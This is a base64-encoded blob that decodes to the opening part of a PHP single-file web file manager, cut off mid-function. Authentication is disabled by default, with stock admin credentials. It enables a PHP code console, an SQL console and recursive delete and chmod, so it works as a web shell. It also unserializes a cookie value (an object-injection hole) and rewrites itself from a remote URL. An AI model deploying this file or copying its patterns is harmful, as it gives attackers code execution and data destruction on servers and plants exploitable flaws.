'LyogUEhQIEZpbGUgbWFuYWdlciB2ZXIgMS42ICovCgovLyBDb25maWd1cmF0aW9uIOKAlCBkbyBub3QgY2hhbmdlIG1hbnVhbGx5IQokYXV0aG9yaXphdGlvbiA9ICd7ImF1dGhvcml6ZSI6IjAiLCJsb2dpbiI6ImFkbWluIiwicGFzc3dvcmQiOiJwaHBmbSIsImNvb2tpZV9uYW1lIjoiZm1fdXNlciIsImRheXNfYXV0aG9yaXphdGlvbiI6IjMwIiwic2NyaXB0IjoiIn0nOwokcGhwX3RlbXBsYXRlcyA9ICd7IlNldHRpbmdzIjoiZ2xvYmFsICRmbV9jb25maWc7XHJcbnZhcl9leHBvcnQoJGZtX2NvbmZpZyk7IiwiQmFja3VwIFNRTCB0YWJsZXMiOiJlY2hvIGZtX2JhY2t1cF90YWJsZXMoKTsifSc7CiRzcWxfdGVtcGxhdGVzID0gJ3siQWxsIGJhc2VzIjoiU0hPVyBEQVRBQkFTRVM7IiwiQWxsIHRhYmxlcyI6IlNIT1cgVEFCTEVTOyJ9JzsKJHRyYW5zbGF0aW9uID0gJ3siaWQiOiJydSIsIkFkZCI6ItCU0L7QsdCw0LLQuNGC0YwiLCJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZGlyZWN0b3J5IChyZWN1cnNpdmVseSk/Ijoi0JLRiyDRg9Cy0LXRgNC10L3Riywg0YfRgtC+INGF0L7RgtC40YLQtSDRg9C00LDQu9C40YLRjCDRjdGC0YMg0L/QsNC/0LrRgyAo0YDQtdC60YPRgNGB0LjQstC90L4pPyIsIkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPyI6ItCS0Ysg0YPQstC10YDQtdC90YssINGH0YLQviDRhdC+0YLQuNGC0LUg0YPQtNCw0LvQuNGC0Ywg0Y3RgtC+0YIg0YTQsNC50Ls/IiwiQXJjaGl2aW5nIjoi0JDRgNGF0LjQstC40YDQvtCy0LDRgtGMIiwiQXV0aG9yaXphdGlvbiI6ItCQ0LLRgtC+0YDQuNC30LDRhtC40Y8iLCJCYWNrIjoi0J3QsNC30LDQtCIsIkNhbmNlbCI6ItCe0YLQvNC10L3QsCIsIkNoaW5lc2UiOiLQmtC40YLQsNC50YHQutC40LkiLCJDb21wcmVzcyI6ItCh0LbQsNGC0YwiLCJDb25zb2xlIjoi0JrQvtC90YHQvtC70YwiLCJDb29raWUiOiLQmtGD0LrQuCIsIkNyZWF0ZWQiOiLQodC+0LfQtNCw0L0iLCJEYXRlIjoi0JTQsNGC0LAiLCJEYXlzIjoi0JTQvdC10LkiLCJEZWNvbXByZXNzIjoi0KDQsNGB0L/QsNC60L7QstCw0YLRjCIsIkRlbGV0ZSI6ItCj0LTQsNC70LjRgtGMIiwiRGVsZXRlZCI6ItCj0LTQsNC70LXQvdC+IiwiRG93bmxvYWQiOiLQodC60LDRh9Cw0YLRjCIsImRvbmUiOiLQt9Cw0LrQvtC90YfQtdC90LAiLCJFZGl0Ijoi0KDQtdC00LDQutGC0LjRgNC+0LLQsNGC0YwiLCJFbnRlciI6ItCS0YXQvtC0IiwiRW5nbGlzaCI6ItCQ0L3Qs9C70LjQudGB0LrQuNC5IiwiRXJyb3Igb2NjdXJyZWQiOiLQn9GA0L7QuNC30L7RiNC70LAg0L7RiNC40LHQutCwIiwiRmlsZSBtYW5hZ2VyIjoi0KTQsNC50LvQvtCy0YvQuSDQvNC10L3QtdC00LbQtdGAIiwiRmlsZSBzZWxlY3RlZCI6ItCS0YvQsdGA0LDQvSDRhNCw0LnQuyIsIkZpbGUgdXBkYXRlZCI6ItCk0LDQudC7INGB0L7RhdGA0LDQvdC10L0iLCJGaWxlbmFtZSI6ItCY0LzRjyDRhNCw0LnQu9CwIiwiRmlsZXMgdXBsb2FkZWQiOiLQpNCw0LnQuyDQt9Cw0LPRgNGD0LbQtdC9IiwiRnJlbmNoIjoi0KTRgNCw0L3RhtGD0LfRgdC60LjQuSIsIkdlbmVyYXRpb24gdGltZSI6ItCT0LXQvdC10YDQsNGG0LjRjyDRgdGC0YDQsNC90LjRhtGLIiwiR2VybWFuIjoi0J3QtdC80LXRhtC60LjQuSIsIkhvbWUiOiLQlNC+0LzQvtC5IiwiUXVpdCI6ItCS0YvRhdC+0LQiLCJMYW5ndWFnZSI6ItCv0LfRi9C6IiwiTG9naW4iOiLQm9C+0LPQuNC9IiwiTWFuYWdlIjoi0KPQv9GA0LDQstC70LXQvdC40LUiLCJNYWtlIGRpcmVjdG9yeSI6ItCh0L7Qt9C00LDRgtGMINC/0LDQv9C60YMiLCJOYW1lIjoi0J3QsNC40LzQtdC90L7QstCw0L3QuNC1IiwiTmV3Ijoi0J3QvtCy0L7QtSIsIk5ldyBmaWxlIjoi0J3QvtCy0YvQuSDRhNCw0LnQuyIsIm5vIGZpbGVzIjoi0L3QtdGCINGE0LDQudC70L7QsiIsIlBhc3N3b3JkIjoi0J/QsNGA0L7Qu9GMIiwicGljdHVyZXMiOiLQuNC30L7QsdGA0LDQttC10L3QuNGPIiwiUmVjdXJzaXZlbHkiOiLQoNC10LrRg9GA0YHQuNCy0L3QviIsIlJlbmFtZSI6ItCf0LXRgNC10LjQvNC10L3QvtCy0LDRgtGMIiwiUmVzZXQiOiLQodCx0YDQvtGB0LjRgtGMIiwiUmVzZXQgc2V0dGluZ3MiOiLQodCx0YDQvtGB0LjRgtGMINC90LDRgdGC0YDQvtC50LrQuCIsIlJlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmciOiLQktC+0YHRgdGC0LDQvdCw0LLQu9C40LLQsNGC0Ywg0LLRgNC10LzRjyDRhNCw0LnQu9CwINC/0L7RgdC70LUg0YDQtdC00LDQutGC0LjRgNC+0LLQsNC90LjRjyIsIlJlc3VsdCI6ItCg0LXQt9GD0LvRjNGC0LDRgiIsIlJpZ2h0cyI6ItCf0YDQsNCy0LAiLCJSdXNzaWFuIjoi0KDRg9GB0YHQutC40LkiLCJTYXZlIjoi0KHQvtGF0YDQsNC90LjRgtGMIiwiU2VsZWN0Ijoi0JLRi9Cx0LXRgNC40YLQtSIsIlNlbGVjdCB0aGUgZmlsZSI6ItCS0YvQsdC10YDQuNGC0LUg0YTQsNC50LsiLCJTZXR0aW5ncyI6ItCd0LDRgdGC0YDQvtC50LrQsCIsIlNob3ciOiLQn9C+0LrQsNC30LDRgtGMIiwiU2hvdyBzaXplIG9mIHRoZSBmb2xkZXIiOiLQn9C+0LrQsNC30YvQstCw0YLRjCDRgNCw0LfQvNC10YAg0L/QsNC/0LrQuCIsIlNpemUiOiLQoNCw0LfQvNC10YAiLCJTcGFuaXNoIjoi0JjRgdC/0LDQvdGB0LrQuNC5IiwiU3VibWl0Ijoi0J7RgtC/0YDQsNCy0LjRgtGMIiwiVGFzayI6ItCX0LDQtNCw0YfQsCIsInRlbXBsYXRlcyI6ItGI0LDQsdC70L7QvdGLIiwiVWtyYWluaWFuIjoi0KPQutGA0LDQuNC90YHQutC40LkiLCJVcGxvYWQiOiLQl9Cw0LPRgNGD0LfQuNGC0YwiLCJWYWx1ZSI6ItCX0L3QsNGH0LXQvdC40LUiLCJIZWxsbyI6ItCf0YDQuNCy0LXRgiIsIkZvdW5kIGluIGZpbGVzIjoi0J3QsNC50LTQtdC90L4g0LIg0YTQsNC50LvQsNGFIiwiU2VhcmNoIjoi0J/QvtC40YHQuiIsIlJlY3Vyc2l2ZSBzZWFyY2giOiAi0KDQtdC60YPRgNGB0LjQstC90YvQuSDQv9C+0LjRgdC6IiwiTWFzayI6ItCc0LDRgdC60LAifSc7Ci8vIGVuZCBjb25maWd1cmF0aW9uCgovLyBQcmVwYXJhdGlvbnMKJHN0YXJ0dGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7CiRzdGFydHRpbWUgPSAkc3RhcnR0aW1lWzFdICsgJHN0YXJ0dGltZVswXTsKJGxhbmdzID0gYXJyYXkoJ2VuJywncnUnLCdkZScsJ2ZyJywndWsnKTsKJHBhdGggPSBlbXB0eSgkX1JFUVVFU1RbJ3BhdGgnXSkgPyAkcGF0aCA9IHJlYWxwYXRoKCcuJykgOiByZWFscGF0aCgkX1JFUVVFU1RbJ3BhdGgnXSk7CiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCkgLiAnLyc7CiRtYWluX3BhdGg9c3RyX3JlcGxhY2UoJ1xcJywgJy8nLHJlYWxwYXRoKCcuLycpKTsKJHBoYXJfbWF5YmUgPSAodmVyc2lvbl9jb21wYXJlKHBocHZlcnNpb24oKSwiNS4zLjAiLCI8IikpP3RydWU6ZmFsc2U7CiRtc2cgPSAnJzsgLy8gc2VydmljZSBzdHJpbmcKJGRlZmF1bHRfbGFuZ3VhZ2UgPSAncnUnOwokZGV0ZWN0X2xhbmcgPSB0cnVlOwokZm1fdmVyc2lvbiA9IDEuNjsKCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJzEnKTsKaW5pX3NldCgnZGlzcGxheV9zdGFydHVwX2Vycm9ycycsICcxJyk7CmVycm9yX3JlcG9ydGluZyhFX0FMTCk7CQkJCQkJICAgCgovL0F1dGhvcml6YXRpb24KJGF1dGggPSBqc29uX2RlY29kZSgkYXV0aG9yaXphdGlvbix0cnVlKTsKJGF1dGhbJ2F1dGhvcml6ZSddID0gaXNzZXQoJGF1dGhbJ2F1dGhvcml6ZSddKSA/ICRhdXRoWydhdXRob3JpemUnXSA6IDA7IAokYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10gPSAoaXNzZXQoJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSYmaXNfbnVtZXJpYygkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKSA/IChpbnQpJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddIDogMzA7CiRhdXRoWydsb2dpbiddID0gaXNzZXQoJGF1dGhbJ2xvZ2luJ10pID8gJGF1dGhbJ2xvZ2luJ10gOiAnYWRtaW4nOyAgCiRhdXRoWydwYXNzd29yZCddID0gaXNzZXQoJGF1dGhbJ3Bhc3N3b3JkJ10pID8gJGF1dGhbJ3Bhc3N3b3JkJ10gOiAncGhwZm0nOyAgCiRhdXRoWydjb29raWVfbmFtZSddID0gaXNzZXQoJGF1dGhbJ2Nvb2tpZV9uYW1lJ10pID8gJGF1dGhbJ2Nvb2tpZV9uYW1lJ10gOiAnZm1fdXNlcic7CiRhdXRoWydzY3JpcHQnXSA9IGlzc2V0KCRhdXRoWydzY3JpcHQnXSkgPyAkYXV0aFsnc2NyaXB0J10gOiAnJzsKCi8vIExpdHRsZSBkZWZhdWx0IGNvbmZpZwokZm1fZGVmYXVsdF9jb25maWcgPSBhcnJheSAoCgknbWFrZV9kaXJlY3RvcnknID0+IHRydWUsIAoJJ25ld19maWxlJyA9PiB0cnVlLCAKCSd1cGxvYWRfZmlsZScgPT4gdHJ1ZSwgCgknc2hvd19kaXJfc2l6ZScgPT4gZmFsc2UsIC8vaWYgdHJ1ZSwgc2hvdyBkaXJlY3Rvcnkgc2l6ZSDihpIgbWF5YmUgc2xvdyAKCSdzaG93X2ltZycgPT4gdHJ1ZSwgCgknc2hvd19waHBfdmVyJyA9PiB0cnVlLCAKCSdzaG93X3BocF9pbmknID0+IGZhbHNlLCAvLyBzaG93IHBhdGggdG8gY3VycmVudCBwaHAuaW5pCgknc2hvd19ndCcgPT4gdHJ1ZSwgLy8gc2hvdyBnZW5lcmF0aW9uIHRpbWUKCSdlbmFibGVfcGhwX2NvbnNvbGUnID0+IHRydWUsCgknZW5hYmxlX3NxbF9jb25zb2xlJyA9PiB0cnVlLAoJJ3NxbF9zZXJ2ZXInID0+ICdsb2NhbGhvc3QnLAoJJ3NxbF91c2VybmFtZScgPT4gJ3Jvb3QnLAoJJ3NxbF9wYXNzd29yZCcgPT4gJycsCgknc3FsX2RiJyA9PiAndGVzdF9iYXNlJywKCSdlbmFibGVfcHJveHknID0+IHRydWUsCgknc2hvd19waHBpbmZvJyA9PiB0cnVlLAoJJ3Nob3dfeGxzJyA9PiB0cnVlLAoJJ2ZtX3NldHRpbmdzJyA9PiB0cnVlLAoJJ3Jlc3RvcmVfdGltZScgPT4gdHJ1ZSwKCSdmbV9yZXN0b3JlX3RpbWUnID0+IGZhbHNlLAopOwoKaWYgKGVtcHR5KCRfQ09PS0lFWydmbV9jb25maWcnXSkpICRmbV9jb25maWcgPSAkZm1fZGVmYXVsdF9jb25maWc7CmVsc2UgJGZtX2NvbmZpZyA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWydmbV9jb25maWcnXSk7CgovLyBDaGFuZ2UgbGFuZ3VhZ2UKaWYgKGlzc2V0KCRfUE9TVFsnZm1fbGFuZyddKSkgeyAKCXNldGNvb2tpZSgnZm1fbGFuZycsICRfUE9TVFsnZm1fbGFuZyddLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsKCSRfQ09PS0lFWydmbV9sYW5nJ10gPSAkX1BPU1RbJ2ZtX2xhbmcnXTsKfQokbGFuZ3VhZ2UgPSAkZGVmYXVsdF9sYW5ndWFnZTsKCi8vIERldGVjdCBicm93c2VyIGxhbmd1YWdlCmlmKCRkZXRlY3RfbGFuZyAmJiAhZW1wdHkoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pICYmIGVtcHR5KCRfQ09PS0lFWydmbV9sYW5nJ10pKXsKCSRsYW5nX3ByaW9yaXR5ID0gZXhwbG9kZSgnLCcsICRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKTsKCWlmICghZW1wdHkoJGxhbmdfcHJpb3JpdHkpKXsKCQlmb3JlYWNoICgkbGFuZ19wcmlvcml0eSBhcyAkbGFuZ19hcnIpewoJCQkkbG5nID0gZXhwbG9kZSgnOycsICRsYW5nX2Fycik7CgkJCSRsbmcgPSAkbG5nWzBdOwoJCQlpZihpbl9hcnJheSgkbG5nLCRsYW5ncykpewoJCQkJJGxhbmd1YWdlID0gJGxuZzsKCQkJCWJyZWFrOwoJCQl9CgkJfQoJfQp9IAoKLy8gQ29va2llIGxhbmd1YWdlIGlzIHByaW1hcnkgZm9yIGV2ZXIKJGxhbmd1YWdlID0gKGVtcHR5KCRfQ09PS0lFWydmbV9sYW5nJ10pKSA/ICRsYW5ndWFnZSA6ICRfQ09PS0lFWydmbV9sYW5nJ107CgovLyBMb2NhbGl6YXRpb24KJGxhbmcgPSBqc29uX2RlY29kZSgkdHJhbnNsYXRpb24sdHJ1ZSk7CmlmICgkbGFuZ1snaWQnXSE9JGxhbmd1YWdlKSB7CgkkZ2V0X2xhbmcgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0RlbjF4eHgvRmlsZW1hbmFnZXIvbWFzdGVyL2xhbmd1YWdlcy8nIC4gJGxhbmd1YWdlIC4gJy5qc29uJyk7CglpZiAoIWVtcHR5KCRnZXRfbGFuZykpIHsKCQkvL3JlbW92ZSB1bm5lY2Vzc2FyeSBjaGFyYWN0ZXJzCgkJJHRyYW5zbGF0aW9uX3N0cmluZyA9IHN0cl9yZXBsYWNlKCInIiwnJiMzOTsnLGpzb25fZW5jb2RlKGpzb25fZGVjb2RlKCRnZXRfbGFuZyksSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSkpOwoJCSRmZ2MgPSBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7CgkJJHNlYXJjaCA9IHByZWdfbWF0Y2goJyN0cmFuc2xhdGlvbltcc10/XD1bXHNdP1wnXHtcIiguKj8pXCJcfVwnOyMnLCAkZmdjLCAkbWF0Y2hlcyk7CgkJaWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHsKCQkJJGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7CgkJCSRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3siJy4kbWF0Y2hlc1sxXS4nIn0nLCR0cmFuc2xhdGlvbl9zdHJpbmcsJGZnYyk7CgkJCWlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7CgkJCQkkbXNnIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsKCQkJfQllbHNlICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7CgkJCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fcmVzdG9yZV90aW1lJ10pKSB0b3VjaChfX0ZJTEVfXywkZmlsZW10aW1lKTsKCQl9CQoJCSRsYW5nID0ganNvbl9kZWNvZGUoJHRyYW5zbGF0aW9uX3N0cmluZyx0cnVlKTsKCX0KfQoKLyogRnVuY3Rpb25zICovCgovL3RyYW5zbGF0aW9uCmZ1bmN0aW9uIF9fKCR0ZXh0KXsKCWdsb2JhbCAkbGFuZzsKCWlmIChpc3NldCgkbGFuZ1skdGV4dF0pKSByZXR1cm4gJGxhbmdbJHRleHRdOwoJZWxzZSByZXR1cm4gJHRleHQ7Cn07CgovL2RlbGV0ZSBmaWxlcyBhbmQgZGlycyByZWN1cnNpdmVseQpmdW5jdGlvbiBmbV9kZWxfZmlsZXMoJGZpbGUsICRyZWN1cnNpdmUgPSBmYWxzZSkgewoJaWYoJHJlY3Vyc2l2ZSAmJiBAaXNfZGlyKCRmaWxlKSkgewoJCSRlbHMgPSBmbV9zY2FuX2RpcigkZmlsZSwgJycsICcnLCB0cnVlKTsKCQlmb3JlYWNoICgkZWxzIGFzICRlbCkgewoJCQlpZigkZWwgIT0gJy4nICYmICRlbCAhPSAnLi4nKXsKCQkJCWZtX2RlbF9maWxlcygkZmlsZSAuICcvJyAuICRlbCwgdHJ1ZSk7CgkJCX0KCQl9Cgl9CglpZihAaXNfZGlyKCRmaWxlKSkgewoJCXJldHVybiBybWRpcigkZmlsZSk7Cgl9IGVsc2UgewoJCXJldHVybiBAdW5saW5rKCRmaWxlKTsKCX0KfQoKLy9maWxlIHBlcm1zCmZ1bmN0aW9uIGZtX3JpZ2h0c19zdHJpbmcoJGZpbGUsICRpZiA9IGZhbHNlKXsKCSRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7CgkkaW5mbyA9ICcnOwoJaWYoISRpZil7CgkJaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgewoJCQkvL1NvY2tldAoJCQkkaW5mbyA9ICdzJzsKCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7CgkJCS8vU3ltYm9saWMgTGluawoJCQkkaW5mbyA9ICdsJzsKCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7CgkJCS8vUmVndWxhcgoJCQkkaW5mbyA9ICctJzsKCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7CgkJCS8vQmxvY2sgc3BlY2lhbAoJCQkkaW5mbyA9ICdiJzsKCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7CgkJCS8vRGlyZWN0b3J5CgkJCSRpbmZvID0gJ2QnOwoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsKCQkJLy9DaGFyYWN0ZXIgc3BlY2lhbAoJCQkkaW5mbyA9ICdjJzsKCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7CgkJCS8vRklGTyBwaXBlCgkJCSRpbmZvID0gJ3AnOwoJCX0gZWxzZSB7CgkJCS8vVW5rbm93bgoJCQkkaW5mbyA9ICd1JzsKCQl9Cgl9CiAgCgkvL093bmVyCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOwoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CgkoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CgkoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKIAoJLy9Hcm91cAoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPwoJKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgoJKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CiAKCS8vV29ybGQKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KCSgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKCSgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwoKCXJldHVybiAkaW5mbzsKfQoKZnVuY3Rpb24gZm1fY29udmVydF9yaWdodHMoJG1vZGUpIHsKCSRtb2RlID0gc3RyX3BhZCgkbW9kZSw5LCctJyk7CgkkdHJhbnMgPSBhcnJheSgnLSc9PicwJywncic9Pic0Jywndyc9PicyJywneCc9PicxJyk7CgkkbW9kZSA9IHN0cnRyKCRtb2RlLCR0cmFucyk7CgkkbmV3bW9kZSA9ICcwJzsKCSRvd25lciA9IChpbnQpICRtb2RlWzBdICsgKGludCkgJG1vZGVbMV0gKyAoaW50KSAkbW9kZVsyXTsgCgkkZ3JvdXAgPSAoaW50KSAkbW9kZVszXSArIChpbnQpICRtb2RlWzRdICsgKGludCkgJG1vZGVbNV07IAoJJHdvcmxkID0gKGludCkgJG1vZGVbNl0gKyAoaW50KSAkbW9kZVs3XSArIChpbnQpICRtb2RlWzhdOyAKCSRuZXdtb2RlIC49ICRvd25lciAuICRncm91cCAuICR3b3JsZDsKCXJldHVybiBpbnR2YWwoJG5ld21vZGUsIDgpOwp9CgpmdW5jdGlvbiBmbV9jaG1vZCgkZmlsZSwgJHZhbCwgJHJlYyA9IGZhbHNlKSB7CgkkcmVzID0gQGNobW9kKHJlYWxwYXRoKCRmaWxlKSwgJHZhbCk7CglpZihAaXNfZGlyKCRmaWxlKSAmJiAkcmVjKXsKCQkkZWxzID0gZm1fc2Nhbl9kaXIoJGZpbGUpOwoJCWZvcmVhY2ggKCRlbHMgYXMgJGVsKSB7CgkJCSRyZXMgPSAkcmVzICYmIGZtX2NobW9kKCRmaWxlIC4gJy8nIC4gJGVsLCAkdmFsLCB0cnVlKTsKCQl9Cgl9CglyZXR1cm4gJHJlczsKfQoKLy9sb2FkIGZpbGVzCmZ1bmN0aW9uIGZtX2Rvd25sb2FkKCRmaWxlX25hbWUpIHsKICAgIGlmICghZW1wdHkoJGZpbGVfbmFtZSkpIHsKCQlpZiAoZmlsZV9leGlzdHMoJGZpbGVfbmFtZSkpIHsKCQkJaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gYmFzZW5hbWUoJGZpbGVfbmFtZSkpOyAgIAoJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZm9yY2UtZG93bmxvYWQiKTsKCQkJaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOwoJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsKCQkJaGVhZGVyKCJDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyIik7ICAgICAgICAgICAgCgkJCWhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiBmaWxlc2l6ZSgkZmlsZV9uYW1lKSk7CQkKCQkJZmx1c2goKTsgLy8gdGhpcyBkb2Vzbid0IHJlYWxseSBtYXR0ZXIuCgkJCSRmcCA9IGZvcGVuKCRmaWxlX25hbWUsICJyIik7CgkJCXdoaWxlICghZmVvZigkZnApKSB7CgkJCQllY2hvIGZyZWFkKCRmcCwgNjU1MzYpOwoJCQkJZmx1c2goKTsgLy8gdGhpcyBpcyBlc3NlbnRpYWwgZm9yIGxhcmdlIGRvd25sb2FkcwoJCQl9IAoJCQlmY2xvc2UoJGZwKTsKCQkJZGllKCk7CgkJfSBlbHNlIHsKCQkJaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJywgdHJ1ZSwgNDA0KTsKCQkJaGVhZGVyKCdTdGF0dXM6IDQwNCBOb3QgRm91bmQnKTsgCgkJCWRpZSgpOwogICAgICAgIH0KICAgIH0gCn0KCi8vc2hvdyBmb2xkZXIgc2l6ZQpmdW5jdGlvbiBmbV9kaXJfc2l6ZSgkZiwkZm9ybWF0PXRydWUpIHsKCWlmKCRmb3JtYXQpICB7CgkJJHNpemU9Zm1fZGlyX3NpemUoJGYsZmFsc2UpOwoJCWlmKCRzaXplPD0xMDI0KSByZXR1cm4gJHNpemUuJyBieXRlcyc7CgkJZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCksMikuJyZuYnNwO0tiJzsKCQllbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQqMTAyNCksMikuJyZuYnNwO01iJzsKCQllbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtHYic7CgkJZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQqMTAyNCksMikuJyZuYnNwO1RiJzsgLy86KSkpCgkJZWxzZSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQqMTAyNCoxMDI0KjEwMjQqMTAyNCksMikuJyZuYnNwO1BiJzsgLy8gOy0pCgl9IGVsc2UgewoJCWlmKGlzX2ZpbGUoJGYpKSByZXR1cm4gZmlsZXNpemUoJGYpOwoJCSRzaXplPTA7CgkJJGRoPW9wZW5kaXIoJGYpOwoJCXdoaWxlKCgkZmlsZT1yZWFkZGlyKCRkaCkpIT09ZmFsc2UpIHsKCQkJaWYoJGZpbGU9PScuJyB8fCAkZmlsZT09Jy4uJykgY29udGludWU7CgkJCWlmKGlzX2ZpbGUoJGYuJy8nLiRmaWxlKSkgJHNpemUrPWZpbGVzaXplKCRmLicvJy4kZmlsZSk7CgkJCWVsc2UgJHNpemUrPWZtX2Rpcl9zaXplKCRmLicvJy4kZmlsZSxmYWxzZSk7CgkJfQoJCWNsb3NlZGlyKCRkaCk7CgkJcmV0dXJuICRzaXplK2ZpbGVzaXplKCRmKTsgCgl9Cn0KCi8vc2NhbiBkaXJlY3RvcnkKZnVuY3Rpb24gZm1fc2Nhbl9kaXIoJGRpcmVjdG9yeSwgJGV4cCA9ICcnLCAkdHlwZSA9ICdhbGwnLCAkZG9fbm90X2ZpbHRlciA9IGZhbHNlKSB7CgkkZGlyID0gJG5kaXIgPSBhcnJheSgpOwoJaWYoIWVtcHR5KCRleHApKXsKCQkkZXhwID0gJy9eJyAuIHN0cl9yZXBsYWNlKCcqJywgJyguKiknLCBzdHJfcmVwbGFjZSgnLicsICdcXC4nLCAkZXhwKSkgLiAnJC8nOwoJfQoJaWYoIWVtcHR5KCR0eXBlKSAmJiAkdHlwZSAhPT0gJ2FsbCcpewoJCSRmdW5jID0gJ2lzXycgLiAkdHlwZTsKCX0KCWlmKEBpc19kaXIoJGRpcmVjdG9yeSkpewoJCSRmaCA9IG9wZW5kaXIoJGRpcmVjdG9yeSk7CgkJd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZmgpKSkgewoJCQlpZihzdWJzdHIoJGZpbGVuYW1lLCAwLCAxKSAhPSAnLicgfHwgJGRvX25vdF9maWx0ZXIpIHsKCQkJCWlmKChlbXB0eSgkdHlwZSkgfHwgJHR5cGUgPT0gJ2FsbCcgfHwgJGZ1bmMoJGRpcmVjdG9yeSAuICcvJyAuICRmaWxlbmFtZSkpICYmIChlbXB0eSgkZXhwKSB8fCBwcmVnX21hdGNoKCRleHAsICRmaWxlbmFtZSkpKXsKCQkJCQkkZGlyW10gPSAkZmlsZW5hbWU7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoJGZoKTsKCQluYXRzb3J0KCRkaXIpOwoJfQoJcmV0dXJuICRkaXI7Cn0KCmZ1bmN0aW9uIGZtX2xpbmsoJGdldCwkbGluaywkbmFtZSwkdGl0bGU9JycpIHsKCWlmIChlbXB0eSgkdGl0bGUpKSAkdGl0bGU9JG5hbWUuJyAnLmJhc2VuYW1lKCRsaW5rKTsKCXJldHVybiAnJm5ic3A7Jm5ic3A7PGEgaHJlZj0iPycuJGdldC4nPScuYmFzZTY0X2VuY29kZSgkbGluaykuJyIgdGl0bGU9IicuJHRpdGxlLiciPicuJG5hbWUuJzwvYT4nOwp9CgpmdW5jdGlvbiBmbV9hcnJfdG9fb3B0aW9uKCRhcnIsJ